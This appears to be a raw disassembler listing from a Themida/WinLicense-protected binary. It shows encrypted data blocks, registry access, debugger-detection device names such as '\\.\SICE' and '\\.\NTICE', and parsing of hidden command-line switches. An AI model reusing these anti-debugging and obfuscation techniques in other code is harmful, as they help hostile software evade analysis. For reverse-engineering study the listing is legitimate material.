5355E653h, 0A45DCC5Fh, 0AD6625EAh, 9D9A2DE2h dd 878FA6h, 834DF45Ah, 610E578h, 0E1A6AEC5h, 0A24DF459h dd 59A0E797h, 0D8E34DF4h, 97F5AE6Dh, 0CC010E82h, 8CFB8EF9h dd 0F45A3D84h, 4A7F8A4Dh, 0CE030C81h, 7B9EEFA8h, 8D820910h dd 0AF1A8558h, 16FB0562h, 0E665D657h, 0DE2FD691h, 0EBD4DC4Bh dd 0B14DF435h, 35F5929Ah, 7B864DF4h, 0EC9FA0E8h, 0BA83B823h dd 0DF063BD4h, 241647C8h, 934A21E0h, 0F44FA4E3h, 39CCD74Dh dd 9D7C12CBh, 66B31EF1h, 37D8B66Fh, 255AB5D6h, 0E0AEBF52h dd 5159702Fh, 4DF45036h, 0C2A73A45h, 41221A9Bh, 0C36BF1D4h dd 77DA4830h, 0FDC6FB14h, 6A497E91h, 0C4E6FBE6h, 0F09E4998h dd 0C4DBD21Fh, 0F371CBBCh, 1AADB84Dh, 558A8509h, 7518018Ch dd 6992659Ah, 0B9D15A25h, 5B90FB74h, 0E217F892h, 659A7519h dd 28BD2468h, 0DBB42DB1h, 0E2A5ADC4h, 0A14DF37Ah, 7AA1E696h dd 0E1E24DF3h, 3BFA65AAh, 0F37A5433h, 891C274Dh, 0ACF91678h dd 0EC9F7A13h, 0B01BEE23h, 6947DB7Bh, 4449A43Dh, 0A8E57ECBh dd 0F40B3267h, 0F37A9BECh, 4ADDE84Dh, 83B85739h, 4945D4BAh dd 53BE91C6h, 0D43B551Eh, 0ECF5099Fh, 16CBB7F7h, 38D7B46Dh dd 8C9D3003h, 0CAC10E01h, 7F037749h, 76090BABh, 0B1E62965h dd 65773099h, 0B0486A5h, 907F0DD6h, 30B1C55Bh, 627F6BABh dd 49080787h, 234DD3C8h, 89B6819h, 0F31C720Bh, 7798F5BEh dd 0F9167942h, 7E91FBC4h, 0D9084C49h, 1FC2D604h, 8645CAC4h dd 0E86A0E05h, 10F2BE04h, 9DDCE66Fh, 0DDDA6DD8h, 69714A44h dd 646A41Eh, 0B2E7525Dh, 76351C25h, 58A48C6Eh, 545CBB08h dd 54A433h, 0D2070887h, 0F15C67FFh, 573E47A4h, 38989098h dd 202B0269h, 28E7A861h, 0AC632AF3h, 0EEA1841h, 7D36370Ch dd 523C05EAh, 627970BDh, 413C2D5Ah, 0B0434E06h, 0EB20EF9Fh dd 242724D3h, 746D81F0h, 0E629621Bh, 2988CDBDh, 85185B9Ch dd 0A8F51A74h, 0BE93F8B1h, 22FD61F9h, 942792ACh, 0CF040B83h dd 0FE8991A8h, 7DF844B1h, 0C1CEDF72h, 6271194Eh, 0B144434Bh dd 2C37F844h, 59944D99h, 0F48DDA35h, 0D903B79Ah, 62EEFEF3h dd 44F52D5Ah, 0D8434EF8h, 2071386Dh, 9A000000h, 2E63ACE1h dd 0B2E72865h, 0ADB574DFh, 0F844F4DAh, 0DD0B9EA9h, 2C72F322h dd 8EB4CA90h, 723F6D00h, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh dd 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh, 8D568B84h dd 0D4DB10FFh, 81E28952h, 4C2h, 4BE5600h, 29000000h, 14875EF2h dd 20685C24h, 89000047h, 89572414h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 2434895Ch, 57036853h, 815B16F7h, 0E2B9C7EBh dd 8BDA8910h, 0C481241Ch, 4, 8904EC83h, 4832424h, 525E0424h dd 0FB242C81h, 8F4EA350h, 46810846h, 0A350FB08h, 2434FF4Eh dd 4C4815Eh, 0FF000000h, 835A2434h, 6AE904C4h, 94FFFDDBh db 8Fh, 21h ; --------------------------------------------------------------------------- loc_5A6072: ; CODE XREF: Themida_:loc_5A57CBj mov eax, 614A516h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 24h dd 0AE5359E7h, 0BB0A098Bh, 9000D438h, 0BC56FD1Ah, 725D5955h dd 0DA5D139Fh, 83D5795h, 0A129238Fh, 306684F0h, 8F24404Ch dd 8D393446h, 5D6E510Bh, 5116EA9Dh, 0C2B9B61h, 810A6380h dd 586AC65Ch, 2F07AB44h, 785A1E6Eh, 2946B11Eh, 42569788h dd 1860CC56h, 9F2A59A7h, 0CF06251Eh, 1B3DA979h, 0C140C15Dh dd 7553076Bh, 2636F9A9h, 0C719AC5Eh, 0D69BC2Ch, 0F4625423h dd 0E81245B4h, 6, 166342E2h, 0BF0FB993h, 0C3815BCEh, 71D9h dd 0CE9h, 8DCC3200h, 6AFD56CCh, 0DE29FCE4h, 1C4DBF5Bh dd 81600000h, 68D4FAC7h, 0DF816634h, 8B61C5F5h, 6FF08103h dd 0E81DE575h, 6, 0E10EBC6Ch, 8B668DA7h, 0E88159D3h, 7C5E6C4Ah dd 8191E280h, 0BE9C4BF0h, 5BC18068h, 0F2810389h, 0CA4E53h dd 0AFF2EB81h, 0BE827B1h, 0F0000000h, 417EB947h, 0D339A5B1h dd 0D6816CE2h, 216437ABh, 0EEC3815Eh, 8027B1AFh, 0F4F80E5h dd 0FFFFA285h, 128F0FFFh, 0E8000000h, 9, 35E52DAAh, 0AFE915F9h dd 0D08B6630h, 8DE95Eh, 83600000h, 121641BDh, 840F0006h dd 5, 78E9h, 80006A00h, 850F303Eh, 8, 0E946006Ah, 35h dd 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h dd 2E94640h, 6A000000h, 203E8000h, 12850Fh, 7E800000h dd 850F0001h, 8, 0E908C483h, 15h, 1BCD858Dh, 89500612h dd 50962404h, 0FF006A96h, 122D0995h, 0C6C36106h, 1215C185h dd 4E84D06h, 0A8000000h, 50A43576h, 424448Bh, 4489008Bh dd 0FF580424h, 12335DB5h, 48858D06h, 0FF06123Bh, 98589D0h dd 0E906122Dh, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h dd 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 14A82C85h dd 28858D06h, 500614A8h, 0A792858Dh, 68500614h, 80000001h dd 0A83895FFh, 196A0614h, 0A82CB5FFh, 16A0614h, 858D006Ah dd 614A7C1h, 28B5FF50h, 0FF0614A8h, 12265195h, 28B5FF06h dd 0FF0614A8h, 14A83495h, 28B5FF06h, 0FF0614A8h, 12267195h dd 8589C306h, 614A82Ch, 0A828858Dh, 8D500614h, 14A79285h dd 1685006h, 0FF800000h, 14A83895h, 8D046A06h, 14A82C85h dd 46A5006h, 858D006Ah, 614A7EBh, 28B5FF50h, 0FF0614A8h dd 12265195h, 28B5FF06h, 0FF0614A8h, 14A83495h, 28B5FF06h dd 0FF0614A8h, 12267195h, 8589C306h, 614A82Ch, 0A828858Dh dd 8D500614h, 14A79285h, 1685006h, 0FF800000h, 14A83895h dd 8D046A06h, 14A82C85h, 46A5006h, 858D006Ah, 614A7D3h dd 28B5FF50h, 0FF0614A8h, 12265195h, 28B5FF06h, 0FF0614A8h dd 14A83495h, 28B5FF06h, 0FF0614A8h, 12267195h, 8589C306h dd 614A82Ch, 0A828858Dh, 8D500614h, 14A79285h, 1685006h dd 0FF800000h, 14A83895h, 8D046A06h, 14A82C85h, 46A5006h dd 858D006Ah, 614A7FEh, 28B5FF50h, 0FF0614A8h, 12265195h dd 28B5FF06h, 0FF0614A8h, 14A83495h, 28B5FF06h, 0FF0614A8h dd 12267195h, 8589C306h, 614A82Ch, 0A828858Dh, 8D500614h dd 14A79285h, 1685006h, 0FF800000h, 14A83895h, 8D046A06h dd 14A82C85h, 46A5006h, 858D006Ah, 614A7AEh, 28B5FF50h dd 0FF0614A8h, 12265195h, 28B5FF06h, 0FF0614A8h, 14A83495h dd 28B5FF06h, 0FF0614A8h, 12267195h, 0BD83C306h, 61213F1h dd 0B840F00h, 8B000000h, 1213F19Dh, 4CC38306h, 83C30389h dd 1213F1BDh, 840F0006h, 0Bh, 13F19D8Bh, 0C3830612h, 0C3038950h dd 13F1BD83h, 0F000612h, 0B84h, 0F19D8B00h, 83061213h dd 38954C3h, 0F1BD83C3h, 61213h, 0B840Fh, 9D8B0000h, 61213F1h dd 8958C383h, 0BD83C303h, 61213F1h, 0B840F00h, 8B000000h dd 1213F19Dh, 5CC38306h, 0C3C30389h, 2C858960h, 8D0614A8h dd 14A82885h, 858D5006h, 614A792h, 16850h, 95FF8000h, 614A838h dd 858D046Ah, 614A82Ch, 6A046A50h, 23858D00h, 500614A8h dd 0A828B5FFh, 95FF0614h, 6122651h, 2F01BD83h, 0F000612h dd 0C84h, 28B5FF00h, 0FF0614A8h, 14A83495h, 28B5FF06h dd 0FF0614A8h, 12267195h, 60C36106h, 0A82C8589h, 858D0614h dd 614A828h, 92858D50h, 500614A7h, 168h, 3895FF80h, 6A0614A8h dd 2C858D04h, 500614A8h, 6A046Ah, 0A805858Dh, 0FF500614h dd 14A828B5h, 5195FF06h, 83061226h, 122F01BDh, 840F0006h dd 0Ch, 0A828B5FFh, 95FF0614h, 614A834h, 0A828B5FFh, 95FF0614h dd 6122671h, 8960C361h, 14A82C85h, 28858D06h, 500614A8h dd 0A792858Dh, 68500614h, 80000001h, 0A83895FFh, 46A0614h dd 0A82C858Dh, 6A500614h, 8D006A04h, 14A80C85h, 0B5FF5006h dd 614A828h, 265195FFh, 0BD830612h, 6122F01h, 0C840F00h dd 0FF000000h, 14A828B5h, 3495FF06h, 0FF0614A8h, 14A828B5h dd 7195FF06h, 61061226h, 858960C3h, 614A82Ch, 0A828858Dh dd 8D500614h, 14A79285h, 1685006h, 0FF800000h, 14A83895h dd 8D046A06h, 14A82C85h, 46A5006h, 858D006Ah, 614A814h dd 28B5FF50h, 0FF0614A8h, 12265195h, 1BD8306h, 6122Fh dd 0C840Fh, 0B5FF0000h, 614A828h, 0A83495FFh, 0B5FF0614h dd 614A828h, 267195FFh, 0C3610612h, 2C858960h, 8D0614A8h dd 14A82885h, 858D5006h, 614A792h, 16850h, 95FF8000h, 614A838h dd 858D046Ah, 614A82Ch, 6A046A50h, 1B858D00h, 500614A8h dd 0A828B5FFh, 95FF0614h, 6122651h, 2F01BD83h, 0F000612h dd 0C84h, 28B5FF00h, 0FF0614A8h, 14A83495h, 28B5FF06h dd 0FF0614A8h, 12267195h, 60C36106h, 0A82C85C7h, 10614h dd 858D0000h, 614A828h, 92858D50h, 500614A7h, 268h, 3895FF80h dd 0B0614A8h, 0F840FC0h, 0C7000000h, 14A82C85h, 6, 4DE900h dd 46A0000h, 0A82C858Dh, 6A500614h, 8D006A04h, 14A7A685h dd 0B5FF5006h, 614A828h, 265195FFh, 0C00B0612h, 0F840Fh dd 85C70000h, 614A82Ch, 0 ; --------------------------------------------------------------------------- jmp loc_5A67CF ; --------------------------------------------------------------------------- mov dword ptr [ebp+614A82Ch], 1 loc_5A67CF: ; CODE XREF: Themida_:005A67C0j push dword ptr [ebp+614A828h] call dword ptr [ebp+6122671h] popa mov eax, [ebp+614A82Ch] retn ; --------------------------------------------------------------------------- pusha mov [ebp+614A82Ch], eax lea eax, [ebp+614A828h] push eax lea eax, [ebp+614A792h] push eax push 80000001h call dword ptr [ebp+614A838h] push 4 lea eax, [ebp+614A82Ch] push eax push 4 push 0 lea eax, [ebp+614A7A6h] push eax push dword ptr [ebp+614A828h] call dword ptr [ebp+6122651h] cmp dword ptr [ebp+6122F01h], 0 jz loc_5A683C push dword ptr [ebp+614A828h] call dword ptr [ebp+614A834h] loc_5A683C: ; CODE XREF: Themida_:005A682Aj push dword ptr [ebp+614A828h] call dword ptr [ebp+6122671h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+614A82Ch], eax lea eax, [ebp+614A828h] push eax lea eax, [ebp+614A792h] push eax push 80000001h call dword ptr [ebp+614A838h] push 4 lea eax, [ebp+614A82Ch] push eax push 4 push 0 lea eax, [ebp+614A7B8h] push eax push dword ptr [ebp+614A828h] call dword ptr [ebp+6122651h] cmp dword ptr [ebp+6122F01h], 0 jz loc_5A68A3 push dword ptr [ebp+614A828h] call dword ptr [ebp+614A834h] loc_5A68A3: ; CODE XREF: Themida_:005A6891j push dword ptr [ebp+614A828h] call dword ptr [ebp+6122671h] popa retn ; --------------------------------------------------------------------------- mov byte ptr [ebp+61215C1h], 52h push 0ADE47B07h push dword ptr [ebp+6122FD1h] call dword ptr [ebp+6120C69h] mov [ebp+614A838h], eax mov byte ptr [ebp+61215C1h], 52h push 902E00E5h push dword ptr [ebp+6122FD1h] call dword ptr [ebp+6120C69h] mov [ebp+614A834h], eax mov byte ptr [ebp+61215C1h], 52h push 0B9BF1235h push dword ptr [ebp+6122FD1h] call dword ptr [ebp+6120C69h] mov [ebp+6122651h], eax mov byte ptr [ebp+61215C1h], 52h push 98781034h push dword ptr [ebp+6122FD1h] call dword ptr [ebp+6120C69h] mov [ebp+6122671h], eax mov byte ptr [ebp+61215C1h], 52h push 0C005DBD4h push dword ptr [ebp+6122FD1h] call dword ptr [ebp+6120C69h] mov [ebp+6121469h], eax jmp short loc_5A6967 ; --------------------------------------------------------------------------- db 2 dup(5Ch), 2Eh dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h dd 49544E5Ch db 43h, 45h, 0 ; --------------------------------------------------------------------------- loc_5A6967: ; CODE XREF: Themida_:005A6947j mov eax, eax cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5A697B cmp dword ptr [ebp+6122149h], 0 jz short loc_5A6994 loc_5A697B: ; CODE XREF: Themida_:005A6970j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6120B35h], eax lea ebx, [ebp+614AD09h] call ebx ; _iob pop ebx pop eax loc_5A6994: ; CODE XREF: Themida_:005A6979j cmp dword ptr [ebp+6122149h], 0 jz short loc_5A69B4 push eax push ebx mov eax, 40Fh mov [ebp+6120B35h], eax lea ebx, [ebp+614A9F8h] call ebx ; _iob pop ebx pop eax loc_5A69B4: ; CODE XREF: Themida_:005A699Bj mov cl, 49h mov dx, 132Dh jz loc_5A69C6 mov [ebp+612213Dh], eax loc_5A69C6: ; CODE XREF: Themida_:005A69BAj mov eax, eax cmc mov byte ptr [ebp+61215C1h], 43h push 0 push edx call sub_5A69DB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A69DB proc near ; CODE XREF: Themida_:005A69D3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5A69DB endp ; --------------------------------------------------------------------------- db 0D0h dd 68D1AB17h, 0D72BFC74h, 52505250h, 0B5B9310Fh, 5A177080h dd 0E8310F58h, 9, 0E728448Ch, 0E528C2A3h, 5AD18B02h, 3481585Ah dd 0A5928824h, 6FE6806Bh, 68D0Fh, 85890000h, 6121AF9h dd 17F1B5FFh, 0BF660612h, 858DEC34h, 6123B48h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0AFC35040h, 39EF1924h dd 1770A865h, 0BFD0FF4Bh, 72F16787h, 9D9D8960h, 6106121Bh dd 0E9525090h, 8, 6677E274h, 0EB4F0DD8h, 12E9310Fh, 9E000000h dd 0FDFD7BE8h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h, 50585A0Eh dd 90CF8B66h, 0D8ED78B9h, 89006A6Dh, 1225BDB5h, 0CFB70F06h dd 0F44A0868h, 298A0FCDh, 0E8000000h, 0Dh, 0EB5B3A69h dd 86E4E412h, 6C83B40Ah, 11E9D6h, 9F950000h, 0E5FC40E2h dd 68AA81EEh, 0A0C0F4h, 5A818BE2h, 78240481h, 6A320BB6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 74AFC355h, 0CA4EFE3Eh, 8BF40132h, 214DB589h dd 36A0612h, 0E9F78B66h, 0Eh, 12C3CB6Dh, 5EECA1ECh, 0B413B912h dd 6ADE2Ah, 3D1BD8Bh, 36A0612h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0A0C35646h, 2348AB90h, 22D18D8Bh dd 81660612h, 0E88A19CAh, 4, 0C0000000h, 8BEC8A50h, 66042444h dd 8BA200BAh, 12E85000h, 6F000000h, 0C9C20AFCh, 9D352129h dd 52D4A61h, 0F67C1CAFh, 880F6Fh, 5F000000h, 24448959h dd 6A5804h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 4E6944C3h, 6F9D8DC3h, 660614AEh, 5093CE8Bh dd 0FE9h, 2C118400h, 0ABD6E574h, 0AD292D26h, 0C4E6894h dd 0FACF8193h, 0FF2DAA2Bh, 68D0FD0h, 8B000000h, 121AF595h dd 850F4006h, 32Dh, 17E1B58Bh, 2B580612h, 1210CD95h, 0EEBE9006h dd 50776C5Fh, 5E860h, 1E210000h, 5086A016h, 5A310F52h dd 0E8575F58h, 0Eh, 306F312Ah, 566BF5ADh, 0C5B16112h, 585E4275h dd 5E99061h, 43000000h, 5D28EAF0h, 6AC88B66h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 5B35CFD9h, 0A8556FBCh, 9E8h, 0CE08C100h, 8FABE523h dd 0BD2321DEh, 6122D21h, 92E8685Fh, 8B66BE88h, 240481CEh dd 41776D98h, 4098D89h, 36A0612h, 0BD8B006Ah, 6122135h dd 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6A7EA0C3h, 8B66D5E7h, 4E8D6h, 0 dd 5250C000h, 0BE8h, 738EE000h, 49E927E4h, 4F5F07B5h, 0F596160h dd 5AF98B31h, 840F5058h, 2, 448BFE8Bh, 8B0424h, 11E9h dd 0B1867D00h, 5A5EE4FCh, 0C3DD347Dh, 0D54B1EFCh, 4489234Dh dd 0DE90424h, 0A6000000h, 0A919802h, 0CC21EE45h, 71CE262Ah dd 840F58h, 8D000000h, 14AE789Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 586D344Dh dd 0EA51B98Bh, 8B663754h, 8B6693F0h, 525050F1h, 0F88B5250h dd 8E0F310Fh, 0 dd 310F585Ah, 585AD78Bh, 0FBF6693h, 0E8D0FF8Bh, 10h, 5A39DACDh dd 0B0FFF05Eh, 921A22CFh, 2C2221ECh, 405AF98Bh, 18F850Fh dd 0B58B0000h, 6121A91h, 0F6BF0F58h, 8996B250h, 0BA662404h dd 6A4820h, 0DC6FD3BAh, 32206858h, 0BE81B3Ch, 0 dd 725CFDE8h, 0D6F8C4BAh, 8C0FB2C0h, 6, 310F5250h, 8159585Ah dd 32A02434h, 6A1B3Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 5694AEC3h, 27ED8D89h, 6A5A0612h dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FCBDB1C9h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 589156C3h dd 0FDBD8B50h, 59061215h, 6A036Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 1E160C3h, 0DC0C7689h dd 0BD298FBDh, 6121CD1h, 379501BAh, 4E86Ah, 0 dd 0EE8C000h, 0A6000000h, 0EC63E001h, 8F448180h, 0C51EAE51h dd 48D0F6Ch, 66000000h, 5ED036BAh, 8B5E5150h, 66042444h dd 8B7311BFh, 24448900h, 0AFCBA04h, 6A5855C5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 875AC352h, 0EF22B68h, 920BB9BFh, 9D8D43CDh, 614AE83h dd 7E9h, 9F6A0600h, 6AB0B461h, 8B665093h, 958993CEh, 6122641h dd 870FD0FFh, 6, 895BD29h, 8B600612h, 0F88B66C6h, 850F4061h dd 0Dh, 11ED9D89h, 0F8580612h, 18DE9h, 66D88B00h, 4B614CB9h dd 1A41BD8Bh, 6A580612h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 24B9C350h, 0B58B68F3h dd 6122609h, 15C185C6h, 6A430612h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5716C352h dd 5E7D54C9h, 860FFB31h, 6, 3061B529h, 0D9810612h, 47077D16h dd 4E8h, 764AA700h, 595650C0h, 424448Bh, 0EE9h, 56AFDF00h dd 3A5DECEEh, 0DD752E77h, 8B07A31Ah, 0AE800h, 9AAE0000h dd 0C04D20C5h, 496F0043h, 895E85B5h, 0B9042444h, 62E273C0h dd 75853158h, 0FF06122Dh, 1217F1B5h, 0B5958906h, 8D061231h dd 123B4885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 3905BF13h, 8BD0FF73h, 122D21BDh dd 0E8509306h, 13h, 281E1B76h, 0A7459D31h, 0EAB36D11h dd 2332CC29h, 5A21C4A9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0E82363E5h, 2D4B3686h dd 2BD0FFF9h, 12279DBDh, 89D8D06h, 0E8061273h, 6, 0E9E98711h dd 0B5036FCBh, 6121E79h, 1B85Ah, 830F0000h, 6, 30418D8Bh dd 0E3FF0612h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0C1C35040h, 158D8B9Dh, 8906122Ah, 122389B5h, 0C18BF906h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 74C35141h dd 4E0BD00Fh, 0FD78B66h, 8D89FBB7h, 61219F1h, 0B58BC08Bh dd 6122CD1h, 2F01BD83h, 75000612h, 49BD8309h, 61221h, 53501974h dd 0FB8C08Bh, 89000004h, 1202B985h, 709D8D06h, 0FF0614ADh dd 83585BD3h, 122149BDh, 17740006h, 0FB85350h, 89000004h dd 1202B985h, 119D8D06h, 0FF0614AAh, 6A585BD3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0F9C8C351h, 58779422h, 8501F5D5h, 6120309h, 0AE8C08Bh dd 29000000h, 0AC9FFF25h, 0E280F755h, 9D8B600Bh, 6120075h dd 665E61F5h, 947AD781h, 6B4BC681h, 6E80000h, 0E2000000h dd 6853BEA2h, 0DDB86607h, 0D22B5FCCh, 798523h, 0C8B0612h dd 9D295716h, 6122341h, 0ABE98158h, 66449C83h, 0E981DF8Bh dd 79E7356Fh, 33599D89h, 0F1810612h, 198BAC8Ah, 7D5BD8Bh dd 0C890612h, 65958916h, 0F061211h, 1980h, 14E900h, 0F0E70000h dd 0A93D706Eh, 35D372Eh, 79F87DB6h, 622E9A41h, 0EA83CBAAh dd 0DFBF0F04h, 9554FA81h, 850FFFFFh, 0FFFFFF9Ah, 2E25858Bh dd 99E90612h, 2F000000h, 63677562h, 6B636568h, 622F0032h dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h dd 6F72706Bh, 74636574h, 6E6F69h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+614B7B1h], 0 jz loc_5A72BB mov dword ptr [ebp+6122149h], 1 loc_5A72BB: ; CODE XREF: Themida_:005A72ABj mov byte ptr [ebp+61215C1h], 47h call sub_5A72CB lea ebp, [ebp+ebp*2-70h] ; =============== S U B R O U T I N E ======================================= sub_5A72CB proc near ; CODE XREF: Themida_:005A72C2p ; FUNCTION CHUNK AT 005A761D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A7849 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A793D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A7954 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AB129 SIZE 0000000E BYTES push eax mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax call eax mov edi, eax cmp byte ptr [edi], 22h jnz loc_5A7314 inc edi mov al, 22h loc_5A72F5: ; CODE XREF: sub_5A72CB+2Bj scasb jnz loc_5A72F5 cmp byte ptr [edi], 0 jz loc_5A761D inc edi cmp byte ptr [edi], 0 jz loc_5A761D jmp loc_5A7332 ; --------------------------------------------------------------------------- loc_5A7314: ; CODE XREF: sub_5A72CB+21j ; sub_5A72CB+62j cmp byte ptr [edi], 0 jz loc_5A761D cmp byte ptr [edi], 20h jnz loc_5A732C inc edi jmp loc_5A7332 ; --------------------------------------------------------------------------- loc_5A732C: ; CODE XREF: sub_5A72CB+55j inc edi jmp loc_5A7314 ; --------------------------------------------------------------------------- loc_5A7332: ; CODE XREF: sub_5A72CB+44j ; sub_5A72CB+5Cj ... cmp byte ptr [edi], 0 jnz loc_5A7340 jmp loc_5A761D ; --------------------------------------------------------------------------- loc_5A7340: ; CODE XREF: sub_5A72CB+6Aj jmp loc_5A7346 ; --------------------------------------------------------------------------- loc_5A7345: ; CODE XREF: sub_5A72CB+7Ej inc edi loc_5A7346: ; CODE XREF: sub_5A72CB:loc_5A7340j cmp byte ptr [edi], 20h jz loc_5A7345 cmp byte ptr [edi], 0 jnz loc_5A735D jmp loc_5A761D ; --------------------------------------------------------------------------- loc_5A735D: ; CODE XREF: sub_5A72CB+87j call sub_5A736C jmp loc_5A7332 sub_5A72CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_5A761D ; =============== S U B R O U T I N E ======================================= sub_5A736C proc near ; CODE XREF: sub_5A72CB:loc_5A735Dp lea esi, [ebp+614B731h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A7395 mov dword ptr [ebp+6122F01h], 1 retn ; --------------------------------------------------------------------------- loc_5A7395: ; CODE XREF: sub_5A736C+18j lea esi, [ebp+614B73Ch] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A73BE mov dword ptr [ebp+6122149h], 1 retn ; --------------------------------------------------------------------------- loc_5A73BE: ; CODE XREF: sub_5A736C+41j lea esi, [ebp+614B7B5h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A73E7 mov dword ptr [ebp+6121641h], 1 retn ; --------------------------------------------------------------------------- loc_5A73E7: ; CODE XREF: sub_5A736C+6Aj lea esi, [ebp+614B746h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A7410 mov dword ptr [ebp+6122149h], 1 retn ; --------------------------------------------------------------------------- loc_5A7410: ; CODE XREF: sub_5A736C+93j lea esi, [ebp+614B750h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A7443 mov dword ptr [ebp+6122149h], 1 mov dword ptr [ebp+6122F01h], 1 retn ; --------------------------------------------------------------------------- loc_5A7443: ; CODE XREF: sub_5A736C+BCj lea esi, [ebp+614B75Eh] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A746B mov dword ptr [ebp+61208B9h], 1 loc_5A746B: ; CODE XREF: sub_5A736C+EFj lea esi, [ebp+614B768h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A7493 mov dword ptr [ebp+61208B9h], 1 loc_5A7493: ; CODE XREF: sub_5A736C+117j lea esi, [ebp+614B773h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A74BB mov dword ptr [ebp+6123425h], 1 loc_5A74BB: ; CODE XREF: sub_5A736C+13Fj lea esi, [ebp+614B779h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A74E3 mov dword ptr [ebp+61228F1h], 1 loc_5A74E3: ; CODE XREF: sub_5A736C+167j lea esi, [ebp+614B77Fh] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A750B mov dword ptr [ebp+61200C1h], 1 loc_5A750B: ; CODE XREF: sub_5A736C+18Fj lea esi, [ebp+614B78Dh] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A7533 mov dword ptr [ebp+61208C5h], 1 loc_5A7533: ; CODE XREF: sub_5A736C+1B7j lea esi, [ebp+614B79Ah] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A755B mov dword ptr [ebp+612294Dh], 1 loc_5A755B: ; CODE XREF: sub_5A736C+1DFj lea esi, [ebp+614B7A5h] call sub_5A759C add edi, [ebp+614B7C6h] cmp dword ptr [ebp+614B7C6h], 0 jz loc_5A7583 mov dword ptr [ebp+6121CB9h], 1 loc_5A7583: ; CODE XREF: sub_5A736C+207j jmp loc_5A7589 ; --------------------------------------------------------------------------- 